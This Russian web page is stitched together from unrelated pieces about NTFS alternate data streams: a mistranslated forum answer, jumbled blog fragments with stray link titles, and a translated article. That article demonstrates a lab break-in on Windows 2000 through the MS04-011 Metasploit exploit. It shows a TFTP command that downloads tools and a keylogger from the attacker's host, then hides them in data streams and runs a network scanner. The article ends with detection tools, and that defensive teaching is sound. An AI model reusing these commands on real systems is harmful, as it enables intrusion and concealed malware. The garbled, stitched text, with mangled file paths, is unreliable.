Альтернативные потоки данных NTFS, или почему не запустился скрипт PowerShell – Вадим Стеркин

Ntfs альтернативные потоки данных-хорошая или плохая идея?

трудно сказать без дополнительной информации о том, какие данные вы храните. Вы, кажется, знаете о некоторых проблемах, связанных с их использованием, поэтому я не уверен, насколько я могу помочь. Вот мои общие мысли об альтернативных потоках данных:

прежде всего, как вы заметили, рекламные потоки работают только на NTFS. Если есть шанс, что вам понадобится сохранить эти метаданные в файловой системе FAT, вам понадобится какой-то резервный механизм. Современные ПК, вероятно, будут иметь NTFS-отформатированные внутренние жесткие диски, но большинство флэш-накопителей USB, с которыми вы сталкиваетесь, по-прежнему отформатированы FAT. Имейте это в виду, если ваши пользователи будут хранить файлы данных на флеш-накопителях.

помимо этого, я не могу придумать никаких технологических причин, чтобы избежать рекламных потоков, но я все еще опасаюсь их использования. Люди, как правило, нервничают по поводу приложений, которые “скрывают” от них данные, независимо от намерения. Рассмотрим фиаско Sony rootkit и так далее. Я не говорю, что твое заявление примерно так же плохо, как это, но люди (особенно менее технически подкованные) могут не различать. Тем не менее, я допускаю, что они могут иметь действительное использование для вашего приложения. Конечно, проблема оставления рекламных потоков после удаления по-прежнему очень реальна. Возможно, вы захотите предоставить людям, запускающим деинсталлятор, возможность запуска программы для поиска их дисков и очистки любых оставшихся потоков.

еще, помню поцелуй принцип. Является ли использование рекламных потоков действительно самым простым способом эффективного решения проблемы хранения метаданных вашего приложения? Если это так, возможно, рекламные потоки-хорошая идея, но, если нет, я серьезно подумаю о другом подходе.

Onedrive

OneDrive использует ADS с именем ms-properties для хранения каких-то своих метаданных. В папке с черновиками и опубликованными статьями блога я выполнил команду, которая находит все файлы с ADS, исключая файлы только с безымянным потоком:

gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data'

В результатах не было недостатка, а содержимое ADS выглядело примерно так:

Альтернативные потоки данных ntfs

Цель этой статьи – описание альтернативных потоков данных в Microsoft Windows, демонстрация того, как их можно создать, скомпрометировав машину, используя Metasploit Framework, и как можно обнаружить с помощью свободно распространяемых утилит.

введение

Для начала мы определимся в том, что из себя представляют альтернативные потоки данных и какую угрозу они могут представлять для вашей организации. Затем мы рассмотрим пример компрометации удаленной машины с помощью эксплойта, предоставляющего доступ к командному интерпретатору и позволяющего скрывать файлы на компьютере жертвы. После этого, мы рассмотрим некоторые свободно распространяемые утилиты, которые могут быть использованы для определения и предотвращения такой активности. Итак, начнем.

что такое альтернативные потоки данных

Альтернативные потоки данных появились в ОС Windows NT с введением файловой системы NTFS. Что же такое альтернативные потоки данных? В сущности, они были созданы для обеспечения совместимости в HFS (устаревшей файловой системой Macintosh). Суть организации HFS состоит в раздвоении файла на файл данных и файл ресурсов. В файле данных находится содержимое документа, а в файле ресурсов – идентификатор типа файла и другие свойства. На сегодняшний день не всем известно о существовании альтернативных потоков данных. Однако какое-то время они использовались некоторыми не лучшими представителями сообщества специалистов безопасности. Было отмечено увеличение использования этих потоков злонамеренными хакерами, желающими спрятать свои файлы сразу после компрометации компьютера. Кроме этого, было замечено, что некоторые вирусы и другие типы
злонамеренного ПО также используют альтернативные потоки данных. Проблема в том, что эти потоки нельзя просмотреть, используя стандартные методы: через командную строку или с помощью Windows Explorer.
Как же обнаружить злонамеренное использование альтернативных потоков данных? Необходимо следить за повышением использования таких потоков. Даже если учесть, что корпоративный объект хорошо защищен, нужно иметь в виду, что не все антивирусные средства в конфигурации по умолчанию проверяют альтернативные потоки данных. В настоящее время большая часть антивирусных продуктов находит эти потоки, но только после дополнительной настройки.

пример использования альтернативных потоков данных

Чтобы действительно осознать опасность, которую представляют альтернативные потоки данных, нужно увидеть практическую демонстрацию их злонамеренного использования. К концу этой статьи читатель, с помощью Metasploit Framework, получит доступ к удаленному компьютеру с правами системы. В действительности, в соответствии с целями статьи, это будет не реальная машина, а тестовая, подготовленная специально для наших исследований.
Однако использование специального тестового компьютера никак не повлияет на результат. Чтобы доказать возможность атаки, не нужно атаковать реальный компьютер через Интернет.
В данном примере мы проникнем в компьютер, используя Metasploit Framework. Эксплойт, который я буду использовать, основан на уязвимости MS04- 011, также известной в Metasploit как “lsass overflow”. Для загрузки набора файлов, который мы хотим спрятать, будем использовать протокол TFTP. Затем эти файлы будут помещены в альтернативные потоки данных существующих файлов, найденных на уязвимом компьютере, что ясно продемонстрирует возможность их злонамеренного использования.
Как только эти действия будут завершены, сканер, загруженный на компьютер, будет удаленно запущен и начнется поиск других уязвимых машин во внутренней сети. H. D. Moore, один из соавторов Metasploit Framework, внедрил в эксплойт ASCII-строку “METASPLOIT”. Можно предположить, что это было сделано для того, чтобы производители IDS смогли создать сигнатуру для его утилиты. Взгляните на пакет, отправленный с атакующего компьютера, показанный ниже, в котором можно заметить эту строку.

10:38:49.665427 IP (tos 0x0, ttl 64, id 2924, offset 0, flags [DF],
length: 152) 192.168.1.102.32776 >192.168.1.101.139: P [tcp sum ok]
771689123:771689223(100) ack 3530170662 win 5840<nop,nop,timestamp>
1376570 6356>NBT Packet
0x0000 4500 0098 0b6c 4000 4006 aad8 c0a8 0166 E....l@.@......f
0x0010 c0a8 0165 8008 008b 2dff 0aa3 d26a 2126 ...e....-....j!&
0x0020 8018 16d0 d4ea 0000 0101 080a 0015 013a ...............:
0x0030 0000 18d4 0000 0060 ff53 4d42 7200 0000 .......`.SMBr...
0x0040 0018 0120 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 c912 0000 18d9 003d 0002 4d45 5441 .........=..META
0x0060 5350 4c4f 4954 0002 4c41 4e4d 414e 312e SPLOIT..LANMAN1.
0x0070 3000 024c 4d31 2e32 5830 3032 0002 4e54 0..LM1.2X002..NT
0x0080 204c 414e 4d41 4e20 312e 3000 024e 5420 .LANMAN.1.0..NT.
0x0090 4c4d 2030 2e31 3200 LM.0.12.

Обратите внимание, 192.168.1.102 – атакующий компьютер, использующий Metasploit Framework, а 192.168.1.101 – компьютер жертвы, на котором установлена ОС Windows 2000 Professional. Инсталляция W2K свежая, без каких-либо исправлений или пакетов обновлений, используется только для демонстрационных целей. Имейте в виду, что для злонамеренного использования альтернативных потоков данных, в первую очередь, нужно найти машину с уязвимостью, годной к использованию. Не обновленная Windows 2000 в данном случае используется только для демонстрации, в реальной жизни для реализации атаки на обновленную систему потребовался бы другой эксплойт.

:/>  SFC / SCANNOW: Как использовать эту команду исправить файлы Windows

Ниже мы можем увидеть, что атака прошла успешно. Наша атакующая машина получила доступ к командной строке на компьютере жертвы. Порт 4321 – порт, используемый по умолчанию для lsass-эксплойта в Metasploit. При желании он может быть изменен.

10:38:50.071766 IP (tos 0x0, ttl 128, id 85, offset 0, flags [DF],
length: 82) 192.168.1.101.1030 >192.168.1.102.4321: P [tcp sum ok]
3530253951:3530253993(42) ack 758421802 win 17520
0x0000 4500 0052 0055 4000 8006 7635 c0a8 0165 E..R.U@...v5...e
0x0010 c0a8 0166 0406 10e1 d26b 667f 2d34 992a ...f.....kf.-4.*
0x0020 5018 4470 095f 0000 4d69 6372 6f73 6f66 P.Dp._..Microsof
0x0030 7420 5769 6e64 6f77 7320 3230 3030 205b t.Windows.2000.[
0x0040 5665 7273 696f 6e20 352e 3030 2e32 3139 Version.5.00.219
0x0050 355d 5]
10:38:50.071943 IP (tos 0x0, ttl 128, id 86, offset 0, flags [DF],
length: 83) 192.168.1.101.1030 >192.168.1.102.4321: P [tcp sum ok]
3530253993:3530254036(43) ack 758421802 win 17520
0x0000 4500 0053 0056 4000 8006 7633 c0a8 0165 E..S.V@...v3...e
0x0010 c0a8 0166 0406 10e1 d26b 66a9 2d34 992a ...f.....kf.-4.*
0x0020 5018 4470 89be 0000 0d0a 2843 2920 436f P.Dp......(C).Co
0x0030 7079 7269 6768 7420 3139 3835 2d32 3030 pyright.1985-200
0x0040 3020 4d69 6372 6f73 6f66 7420 436f 7270 0.Microsoft.Corp
0x0050 2e0d 0a ...
10:38:50.072162 IP (tos 0x0, ttl 128, id 88, offset 0, flags [DF],
length: 58) 192.168.1.101.1030 >192.168.1.102.4321: P [tcp sum ok]
3530254038:3530254056(18) ack 758421802 win 17520
0x0000 4500 003a 0058 4000 8006 764a c0a8 0165 E..:.X@...vJ...e
0x0010 c0a8 0166 0406 10e1 d26b 66d6 2d34 992a ...f.....kf.-4.*
0x0020 5018 4470 b1b4 0000 433a 5c57 494e 4e54 P.Dp....C:WINNT
0x0030 5c73 7973 7465 6d33 323e system32>

Теперь по протоколу TFTP начинается передача файлов от атакующего на скомпрометированный компьютер. Вот команда, которая была передана командному интерпретатору, приказывающая жертве загрузить файл ipeye.exe.

tftp -i 192.168.1.102 GET ipeye.exe

Загрузка файлов будет продолжаться до тех пор, пока мы не получим 4 файла: ipeye.exe, psexec.exe, pslist.exe, и klogger.exe. Для краткости я не стал приводить последовательную передачу пакетов. Ниже показано содержимое директории, содержащей загруженные файлы, на компьютере жертвы после завершения передачи. Имя этой директории – c:compaq.

12/05/2004 09:30a 32,768 ipeye.exe
12/05/2004 09:32a 32,768 klogger.exe..
12/05/2004 09:31a 143,360 psexec.exe
12/05/2004 09:31a 86,016 pslist.exe
12/04/2004 02:12pSP21263
12/05/2004 09:01a 13 test_file
12/05/2004 09:02a 13 test_file2
12/05/2004 09:02a 12 test_file3
12/05/2004 09:03a 14 test_file4
12/05/2004 09:32a 0 TFTP780

Ниже мы видим, как атакующий удаляет файл “tftp780” из этой директории. Это доказывает возможность удаления файлов.

10:45:56.901024 IP (tos 0x0, ttl 64, id 39855, offset 0, flags [DF],
length: 55) 192.168.1.102.4321 >192.168.1.101.1030: P [tcp sum ok]
758422044:758422059(15) ack 3530258111 win 10720
0x0000 4500 0037 9baf 4000 4006 1af6 c0a8 0166 E..7..@.@......f
0x0010 c0a8 0165 10e1 0406 2d34 9a1c d26b 76bf ...e....-4...kv.
0x0020 5018 29e0 a342 0000 6465 6c20 2f46 2074 P.)..B..del./F.t
0x0030 6674 7037 3830 0a ftp780.

Теперь атакующий помещает исполняемый файл ipeye.exe в альтернативный поток данных, ассоциированный с существующим файлом test_file. Команда, осуществляющая эти действия, имеет следующий синтаксис:

type ipeye.exe >test_file:ipeye.exe

Процесс скрытия оставшихся трех файлов, загруженных на скомпрометированный хост, закончен. Они скопированы в альтернативные потоки данных существующего файла на компьютере жертвы. Точно также вы можете скопировать файл в поток каталога, например C:.

:/>  Что такое FTP и зачем оно нужно — Журнал «Код»

Затем мы запустим psexec.exe на компьютере жертвы, который, в свою очередь, запустит сканер ipeye.exe, находящийся в альтернативном потоке данных c:Compaqtest_file:ipeye.exe. Заметьте, я использую копию psexec.exe, находящуюся не в потоке, а в самой директории.
Существует много способов запуска программы на Win32-компьютере. Один из вариантов создания процесса – использование команды “start”, что является простым решением, не оставляющим следов на машине жертвы. Некоторые хакеры вместо этого для запуска программы могут использовать bat- файл или другие средства. Фактически алгоритм работы хакера не всегда может быть известен, и мы должны помнить – не все хакеры одинаковы. Подозрительные действия многих хакеров можно изучить, используя honeynet.
Причина, по которой для этой статьи был выбран psexec.exe, очень проста – набор свободно распространяемых утилит, предоставляемых Sysinternals, часто используется хакерами. Поэтому для придания реализма статье я решил использовать именно их. Итак, продвинемся дальше выполним следующую команду:

psexec.exe c:compaqtest_file:ipeye.exe 192.168.1.100 -syn -p 139

Утилита для сканирования ipeye.exe часто используется хакерами для дальнейшего проникновения в сеть. Обратите внимание, для тестирования я использовал еще один компьютер, имеющий IP-адрес 192.168.1.100 и слушающий 139 порт. Однако, как хакер, пришедший из внешней сети, для того чтобы найти это компьютер, я должен был бы произвести сканирование внутренней сети, используя один из зарезервированных диапазонов IP-адресов. Сканер портов отработал успешно. Мы получили информацию, что порт 139 на сканируемой машине действительно открыт. Так как этот компьютер находится в моей лаборатории, у меня есть возможности проверить и подтвердить результаты.

Этот пример демонстрирует возможность злонамеренного использования потоков хакерами. Но нужно иметь в виду, что служащие компании с помощью описанной техники потенциально могли скрыть такой нежелательный контент, как порнография, юридически законный или незаконный в зависимости от конкретного места.

решение проблемы

Что делать с проблемой злонамеренного использования альтернативных потоков данных? Есть несколько неплохих утилит, написанных талантливыми разработчиками Frank Heyne и Arne Vidstrom – lads и lns соответственно, – которые позволяют обнаруживать альтернативные потоки данных. Ниже показан вывод каждой из этих утилит, запущенных на нашей системе после компрометации.

lads


LADS - Freeware version 4.00
(C) Copyright 1998-2004 Frank Heyne Software (http://www.heysoft.de)
This program lists files with alternate data streams (ADS)
Use LADS on your own risk!
Scanning directory C:compaq
size ADS in file
---------- ---------------------------------
32768 C:compaqtest_file:ipeye.exe
32768 C:compaqtest_file2:klogger.exe
143360 C:compaqtest_file3:psexec.exe
86016 C:compaqtest_file4:pslist.exe
294912 bytes in 4 ADS listed

lns


lns 1.0 - (c) 2002, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
-http://ntsecurity.nu/toolbox/lns/
c:compaqtest_file
- Alternative data stream [:ipeye.exe:$DATA]
c:compaqtest_file2
- Alternative data stream [:klogger.exe:$DATA]
c:compaqtest_file3
- Alternative data stream [:psexec.exe:$DATA]
c:compaqtest_file4
- Alternative data stream [:pslist.exe:$DATA]

Как мы видим, вышеупомянутые утилиты успешно обнаружили созданные нами альтернативные потоки данных. Таким образом, используя свободно распространяемые утилиты, вы можете легко найти альтернативные потоки данных на вашем компьютере. Настоятельно рекомендуется производить такой поиск регулярно. В то время, как некоторые производители антивирусов только начинают обращать внимание на альтернативные потоки данных, вы можете свободно использовать утилиту, созданную специально для обнаружения этих потоков.

заключение

Альтернативные потоки данных в Windows NTFS являются реальной угрозой, которая, однако, может быть успешно минимизирована путем использования качественных средств защиты. Кроме этого, как было показано, обнаружить и идентифицировать альтернативные потоки данных можно с помощью двух свободно распространяемых утилит, что позволяет вовремя уведомить администратора об угрозе и дать ему время для адекватного реагирования. Имейте в виду, что в нашем случае использовалась тестовая машина с не обновленной версией Windows 2000, поэтому для реализации вышеописанного процесса на ОС с установленными пакетами обновлений нужно было бы использовать другой способ проникновения на компьютер, после успешного осуществления которого можно было бы создавать альтернативные потоки данных.

Дон Паркер, перевод Владимира Куксенка.

Сетевые решения. Статья была опубликована в номере 03 за 2005 год в рубрике save ass…

Блокировка скачанных файлов

Давайте вернемся к вопросу, который задал мне читатель. Будет ли файл блокироваться зависит в первую очередь от программы, в которой он был скачан, а во вторую — от параметров ОС. Так, все современные браузеры поддерживают блокировку, и она включена в Windows.

Помните, что когда заблокирован архив, все распакованные файлы будут заблокированы «по наследству». Также не забывайте, что ADS — это функция NTFS, т.е. при сохранении или распаковке архива на FAT32 никакой блокировки не происходит.

:/>  Выбираем почтовые клиенты для windows 10, 7, XP

Вредоносные программы

Скрытые от глаз пользователя ADS очень удобны для маскировки вирусов. Поискав alternate data stream в энциклопедии Microsoft по вредоносным программам, вы упретесь в лимит выдачи результатов. И там полно вирусов с нашумевшими именами!

Дискуссия и опрос

В одной из ближайших записей я снова коснусь темы ADS. Если у вас есть другие примеры их использования или просто вопросы по теме, напишите об этом в комментариях. В остальном тут вроде и нечего больше обсуждать, и в таких случаях я предлагаю отвлеченную тему для дискуссии.

Другие примеры практического применения ads

Область применения ADS не ограничивается добавлением зоны скачанного файла, равно как вовсе необязательно хранение в ADS только текста. Любая программа может задействовать эту функцию NTFS для хранения каких угодно данных, поэтому я приведу лишь пару примеров из разных областей.

Запись и просмотр ads из cmd

ADS можно создавать и отображать из командной строки. Следующие команды записывают скрытый текст во второй ADS с именем MyStream2, а затем отображают его.

Интересные особенности альтернативных потоков данных

В контексте примеров выше я хочу отметить несколько любопытных моментов.

Инфраструктура классификации файлов

Эта серверная технология полагается на ADS, храня в них свойства.

Как предотвратить блокировку файлов

За блокировку отвечает групповая политика Не хранить сведения о зоне происхождения вложенных файлов. Из названия следует, что блокировка является стандартным поведением Windows, а политика позволяет его изменить.

Однако из названия неочевидно, что политика распространяется не только на почтовые вложения, но и скачанные из Интернета файлы. Подробнее о диспетчере вложений читайте в KB883260.

В домашних изданиях редактора групповых политик нет, но реестр никто не отменял: SaveZoneInformation.zip.

Невидимые изменения

Создав первой командой текстовый файл, вы можете открыть его в текстовом редакторе и убедиться, что все дальнейшие манипуляции никак не влияют на содержимое файла.

Интересно становится, когда файл открыт, скажем, в Notepad . Этот редактор умеет предупреждать об изменениях файла. И он сделает это, когда вы запишете в файл альтернативный поток, однако содержимое при этом останется прежним!

Потоки данных ntfs

Windows черпает сведения об источнике файла из альтернативного потока данных (alternate data stream, далее ADS) 1 файловой системы NTFS. В свойствах файла она скромно пишет, что он с другого компьютера, но на деле знает чуть больше, как вы увидите дальше.

С точки зрения NTFS, файл – это набор атрибутов. Содержимое файла – это атрибут данных с именем $DATA. Например, текстовый файл со строчкой “Hello, World!” обладает атрибутом данных “Hello, World!”

В NTFS атрибут $DATA является потоком данных и называется основным или безымянным, потому что… не имеет имени. Формально он выглядит так:

$DATA:""

Здесь:

  • $DATA – имя атрибута
  • : – разделитель
  • “” – имя потока (в данном случае имя отсутствует – между кавычками ничего нет)

Дальше все просто. Если данные хранятся в безымянном потоке, то альтернативным становится и считается любой поток с именем. В английском языке он обозначается как alternate data stream.

Более подробная техническая информация есть в MSDN, а я предлагаю уже посмотреть на альтернативные потоки.

Просмотр ads в текстовых редакторах

Тот же Notepad покажет вам содержимое ADS, если указать название потока в командной строке

"C:Program Files (x86)Notepad  notepad  .exe" C:temptest.txt:MyStream1

Результат:

С блокнотом такой фокус пройдет только в том случае, если в конце имени потока есть .txt. Команды ниже добавляют третий ADS и открывают его в блокноте.

Просмотр сведений об источнике заблокированного файла

В PowerShell перейдите в папку со скачанным файлом и посмотрите информацию обо всех потоках.

Управление альтернативными потоками данных в powershell

Для просмотра и удаления альтернативных потоков данных традиционно рекомендуют утилиту streams Марка Руссиновича. Но начиная с PowerShell 3.0, т.е. в Windows 8 и новее, можно воспользоваться PowerShell, чьи командлеты намного функциональнее.

Скопируйте и вставьте в PowerShell команды ниже.

# Создаем текстовый файл с текстом "Hello, World!"
Set-Content -Path C:temptest.txt -Value "Hello, World!"
# Считываем содержимое файла
Get-Content -Path C:temptest.txt
# Создаем в файле альтернативный поток под именем MyStream1 и записываем туда "Hidden Text"
Set-Content -Path C:temptest.txt -Stream MyStream1 -Value "Hidden Text"
# Выводим информацию обо всех потоках
Get-Item -Path C:temptest.txt -Stream *
# Считываем содержимое альтернативного потока MyStream1 
Get-Content -Path C:temptest.txt -Stream MyStream1
# Удаляем альтернативный поток MyStream1
Remove-Item -Path C:temptest.txt -Stream MyStream1
# Снова выводим информацию обо всех потоках (поток MyStream1 удалился)
Get-Item -Path C:temptest.txt -Stream *

Должна получиться такая картина:

Альтернативные потоки данных NTFS
Увеличить рисунок

Оставьте комментарий

Adblock
detector